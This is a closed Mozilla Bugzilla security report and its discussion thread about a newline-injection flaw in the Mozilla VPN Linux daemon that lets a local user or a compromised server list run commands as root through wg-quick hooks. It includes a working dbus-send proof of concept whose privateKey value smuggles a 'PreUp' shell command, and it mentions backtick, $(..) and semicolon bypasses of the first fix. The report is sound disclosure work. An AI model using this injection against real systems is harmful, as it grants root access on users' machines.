Closed Bug 1684623 Opened 5 years ago Closed 4 years ago

Remote code execution and privilege escalation in mozilla-vpn-client

Categories

(Mozilla VPN :: Mozilla VPN Client, task)

Tracking

(Not tracked)

RESOLVED FIXED

People

(Reporter: nils, Assigned: baku)

References

Details

(4 keywords, Whiteboard: [reporter-external] [client-bounty-form] [verif?])

The MozillaVPN daemon which runs as root doesn't validate the method call
parameters given to it.

This means that the input parameters can contains a newline followed by one of
the hooks accepted by wg-quick (PreUp, PostUp, PreDown, PostDown) to have code
execution. Because wg-quick runs as root, the executed hooks are also executed
as root.

There are 2 ways to exploit this:

Firstly, an unprivileged user can perform a malicious method call leading to a
privilege escalation. Proof of concept (the relevant part is the value of
privateKey, which has a newline followed by a hook appended to it):

$ whoami
attacker
$ dbus-send --system --dest=org.mozilla.vpn.dbus --type=method_call / org.mozilla.vpn.dbus.activate string:"{\"allowedIPAddressRanges\":[{\"address\":\"0.0.0.0\",\"isIpv6\":false,\"range\":0},{\"address\":\"::0\",\"isIpv6\":true,\"range\":0}],\"deviceIpv4Address\":\"10.66.237.81/32\",\"deviceIpv6Address\":\"fc00:bbbb:bbbb:bb01::3:ed50/128\",\"ipv6Enabled\":true,\"privateKey\":\"viz1lkL0+Hb/fPs6GXr6lvirqwMFnBq6MtWtsAGy6ds=\\nPreUp = whoami > /tmp/whoami2\",\"serverIpv4AddrIn\":\"89.45.6.114\",\"serverIpv4Gateway\":\"10.64.0.1\",\"serverIpv6AddrIn\":\"2001:ac8:92:5::a04f\",\"serverIpv6Gateway\":\"fc00:bbbb:bbbb:bb01::1\",\"serverPort\":47653,\"serverPublicKey\":\"ZTPHtQfr9FOhws6SQ+uQzeUn5atv8m72QOF+7jaBmDM=\"}"
$ cat /tmp/whoami2
root

Secondly, if the server list (https://vpn.mozilla.org/api/v1/vpn/servers)
served over the network is compromised, the same thing can occur by having a
malicious server address given in the same way a malicious private key is used in
the above proof of concept.

Possible scenarios under which the server list can be compromised (neither of
which should lead to the party having control over the relay list to be able to
have code execution):

  • Mozilla servers are compromised
  • A certificate is installed on the target machine allowing a man-in-the-middle
    attack.

Both exploit rely on the fact the parameters given to the daemon are not
validated however fixing the RCE (by using certificate pinning for example)
doesn't necessarily fix the privilege escalation.

Possible fixes:

I haven't tried on MacOS however, I suspect the vulnerabilities are also present
there as wg-quick is used and the input is not validated. This should not affect
Windows as hooks are not supported there however, I do believe it is best to
validate the input there as well.

Flags: sec-bounty?
Group: firefox-core-security → mozilla-vpn-security
Component: Security → Client for Linux
Product: Firefox → Mozilla VPN
Summary: Remote code execution and privilege escaltion in mozilla-vpn-client → Remote code execution and privilege escalation in mozilla-vpn-client

With some inference from https://github.com/mozilla-mobile/mozilla-vpn-client/issues/342, I am guessing the client is launching next week. I just want to make sure this hasn't been mixed.

Flags: needinfo?(chrismore.bugzilla)

*missed

Sorry for pinging people at random, I'm a bit lost as to what I have to do...

Flags: needinfo?(jclaudius)
Flags: needinfo?(dveditz)

Would a POC of the remote code execution be of interest?

nils: thanks for your report, we'll escalate and get back you as soon as we have something.

Flags: needinfo?(jclaudius)
Flags: needinfo?(dveditz)
Flags: needinfo?(chrismore.bugzilla)
Flags: needinfo?(amarchesini)
Flags: needinfo?(amarchesini)
Status: UNCONFIRMED → RESOLVED
Closed: 5 years ago
Resolution: --- → FIXED

(In reply to Andrea Marchesini [:baku] from comment #6)

Nice! I have fixed this in https://github.com/mozilla-mobile/mozilla-vpn-client/issues/438

I haven't checked yet (don't have the time until Wednesday 2021-01-13), but could a carriage return be used instead of a newline (thereby bypassing this fix)? (Also to generally be safe, it might be preferable to make sure the exact format is respected rather than just checking for a character)

Flags: needinfo?(amarchesini)

https://code.woboq.org/userspace/glibc/stdio-common/getline.c.html#28 - glibc checks for '\n'. a '\r' is not considered as a new line.
Note that this 'wg-quick' thing is a temporary fix. Soon it will be replaced with something better, with 3rd-party external tool execution.

Flags: needinfo?(amarchesini)
Flags: sec-bounty? → sec-bounty+

Baku, thanks for the quick turnaround in looking into this!
But please prioritize fixing this properly: The issue here is way beyond a deny-list of bad characters.
As the reporter points out, this fix is trivially bypassed with other shell injections (like subcommands with backticks or $(..) or a semicolon etc. etc.)

Assignee: nobody → amarchesini
Status: RESOLVED → REOPENED
Ever confirmed: true
Flags: needinfo?(amarchesini)
Resolution: FIXED → ---
Keywords: wsec-injection

I think this can probably be closed now that wg-quick is no longer being used. https://github.com/mozilla-mobile/mozilla-vpn-client/pull/1022

Correct. wgquick script has been removed more months ago. We can finally close this issue.

Status: REOPENED → RESOLVED
Closed: 5 years ago4 years ago
Flags: needinfo?(amarchesini)
Resolution: --- → FIXED

Hi, sorry for reaching out about this late about this. I was wondering what's the process for this vulnerability being listed in the security advisories such as in this example: https://www.mozilla.org/en-US/security/advisories/mfsa2022-08/

Thanks!

Flags: needinfo?(amarchesini)

Hello nils,

Unfortunately, it is too late to add an advisory for this issue. We can disclose the bug and I believe you were added to the HoF in 2021 for this report https://www.mozilla.org/en-US/security/bug-bounty/hall-of-fame/, https://github.com/mozilla/foundation-security-advisories/blob/master/bug-bounty-hof/client.yml#L380.

Thanks,
Frida

Flags: needinfo?(amarchesini)
Group: mozilla-vpn-security
Component: Client for Linux → Mozilla VPN Client
You need to log in before you can comment on or make changes to this bug.